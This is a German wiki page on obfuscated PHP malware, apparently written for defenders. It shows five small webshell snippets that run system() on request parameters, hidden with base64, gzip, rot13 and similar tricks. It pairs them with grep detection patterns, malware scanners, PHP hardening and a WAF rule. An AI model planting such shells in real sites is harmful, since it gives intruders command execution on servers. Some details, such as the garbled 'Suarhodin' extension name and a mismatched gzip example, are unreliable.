Obfuscated PHP Malware

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

Obfuscated PHP Malware

Beschreibung

Obfuskierter PHP-Code verschleiert seine eigentliche Funktion so, dass weder automatische Scanner noch menschliche Code-Reviews den Schadcode auf den ersten Blick erkennen. Der Angreifer nutzt PHP-eigene Funktionen zur Laufzeitauswertung kombiniert mit Encoding/Kompression, um Backdoors, Datendiebstahl oder Downloader zu verstecken.

Obfuskierung ist kein Angriff für sich – sie ist fast immer Tarnung für einen anderen Angriffstyp (Web Shell, Credential Stealer, Remote Downloader).

Angreiferperspektive

Stufe 1: Einfaches Base64 + eval

<?php
// Payload im Klartext:
// system($_GET['cmd']);

$payload = base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7');
eval($payload);
?>

Dekodierung zur Analyse:

echo 'c3lzdGVtKCRfR0VUWydjbWQnXSk7' | base64 -d
# system($_GET['cmd']);

Stufe 2: Mehrfach-Encoding (Base64 + gzip)

<?php
// Payload: system($_GET['cmd']);
// Erst gzip-komprimiert, dann base64-kodiert

$encoded = 'H4sIAAAAAAAAA8tILUpVslIqS8wpTgUANbKBrA8AAAA=';
$payload = gzinflate(base64_decode($encoded));
eval($payload);
?>
# Analyse-Einzeiler
echo 'H4sIAAAAAAAAA8tILUpVslIqS8wpTgUANbKBrA8AAAA=' | \
    base64 -d | gunzip
# system($_GET['cmd']);

Stufe 3: String-Rotation (str_rot13)

<?php
// rot13("system") = "flfgrz"
$f = str_rot13('flfgrz');     // ergibt: system
$a = str_rot13('$_TRG[\'pzq\']'); // ergibt: $_GET['cmd']
eval('$f($a);');
?>

Stufe 4: Verkettete Variable-Funktionsaufrufe

<?php
// Vollständig verschleiert – kein klarer Funktionsname sichtbar
$a = 's' . 'y' . 's' . 't' . 'e' . 'm';
$b = '_' . 'G' . 'E' . 'T';
$$b = $_GET;
$a($$b['cmd']);
?>

Stufe 5: Praxisbeispiel – Leafmailer-Webshell (wie im WordPress-Incident)

Solche Shells wurden z. B. in kompromittierten WordPress-Installationen als scheinbar harmlose Mailer-Skripte getarnt:

<?php
// Typisches Obfuskierungsmuster aus real aufgefundenen Webshells
// (vereinfacht dargestellt)
$x = str_replace('_', '', 'sy_st_em');
$y = @$_POST[base64_decode('Y21k')];   // base64("cmd") = "cmd"
if (isset($y)) { $x($y); }
?>
echo 'Y21k' | base64 -d
# cmd

Erkennungsmerkmale (Red Flags)

Merkmal Risiko Erläuterung
eval() Kritisch Führt beliebigen PHP-Code zur Laufzeit aus
base64_decode() kombiniert mit eval() Kritisch Klassisches Obfuskierungsmuster
gzinflate(), gzuncompress() Hoch Komprimierter Payload
str_rot13() Hoch Einfache Zeichenrotation zur Tarnung
assert() Hoch Verhält sich wie eval(), wird seltener gefiltert
create_function() Hoch Veraltete Alternative zu anonymen Funktionen, oft in altem Malware-Code
Strings über 500 Zeichen ohne Leerzeichen Mittel Hinweis auf eingebetteten Encoded Payload
preg_replace() mit /e-Modifier Kritisch Führt Replacement-String als PHP-Code aus (PHP < 7.0)

Filesystem-Scan nach Obfuskierungsmerkmalen

# eval() kombiniert mit base64_decode
grep -rn --include="*.php" \
    -e "eval\s*(base64_decode" \
    -e "eval\s*(gzinflate" \
    -e "eval\s*(str_rot13" \
    -e "assert\s*(\$" \
    /var/www/html/

# Extrem lange Strings (Payload-Indikator)
grep -rn --include="*.php" \
    -P '.{500,}' \
    /var/www/html/ | grep -v ".min.php"

# create_function – fast nie legitim in modernem Code
grep -rn --include="*.php" "create_function" /var/www/html/

Payload manuell dekodieren

# Unbekannten Base64-String dekodieren
echo 'UNBEKANNTER_STRING' | base64 -d

# Base64 + gzip
echo 'UNBEKANNTER_STRING' | base64 -d | gunzip 2>/dev/null || \
echo 'UNBEKANNTER_STRING' | base64 -d | zlib-flate -uncompress

# PHP-Oneliner zur schnellen Analyse (ohne eval auszuführen!)
php -r "echo base64_decode('UNBEKANNTER_STRING');"
php -r "echo gzinflate(base64_decode('UNBEKANNTER_STRING'));"

Automatisierter Scan mit ClamAV und PDFM (Linux Malware Detect)

# ClamAV – PHP-Malware-Signaturen
apt install clamav
freshclam
clamscan -r --include="*.php" /var/www/html/

# Linux Malware Detect (Maldet)
wget https://www.rfxn.com/downloads/maldetect-current.tar.gz
tar xzf maldetect-current.tar.gz && cd maldetect-*/
./install.sh
maldet --scan-all /var/www/html/
maldet --report list

Gegenmaßnahmen

eval() serverseitig verbieten

; /etc/php/8.2/apache2/php.ini
; Hinweis: eval() kann nicht über disable_functions deaktiviert werden
; – es ist ein Sprachkonstrukt, kein Funktionsaufruf.
; Stattdessen: Suarhodin-Extension oder open_basedir + strenge Dateirechte

disable_functions = assert, create_function, preg_replace
Hinweis zu eval()
Da eval() ein PHP-Sprachkonstrukt ist (kein Funktionsaufruf),

kann es nicht über disable_functions deaktiviert werden. Abhilfe schaffen: Code-Reviews, statische Analyse und Integrity Monitoring.

Statische Analyse mit PHPCS Security Audit

composer require --dev pheromone/phpcs-security-audit
./vendor/bin/phpcs --standard=Security /var/www/html/

open_basedir – Dateizugriff einschränken

; PHP darf nur innerhalb des Webroot auf Dateien zugreifen
open_basedir = /var/www/html:/tmp

WAF-Regel: eval + base64 im Request-Body blockieren

# Coraza / ModSecurity
SecRule REQUEST_BODY "@rx eval\s*\(\s*base64_decode" \
    "id:1002,phase:2,deny,status:403,msg:'Obfuscated PHP in Request'"

Zusammenfassung

Angreifer will
Schadcode so tarnen, dass Scanner und Code-Reviews ihn übersehen
Typische Techniken
Base64, gzip, str_rot13, variable Funktionsnamen, mehrstufige Dekodierung
Erkennbar durch
grep auf eval/assert/base64_decode, Längenanalyse, ClamAV/Maldet
Prävention
disable_functions (assert, create_function), open_basedir, statische Analyse, Integrity Monitoring
Wichtig
eval() selbst kann nicht per php.ini deaktiviert werden → Code-Review ist unverzichtbar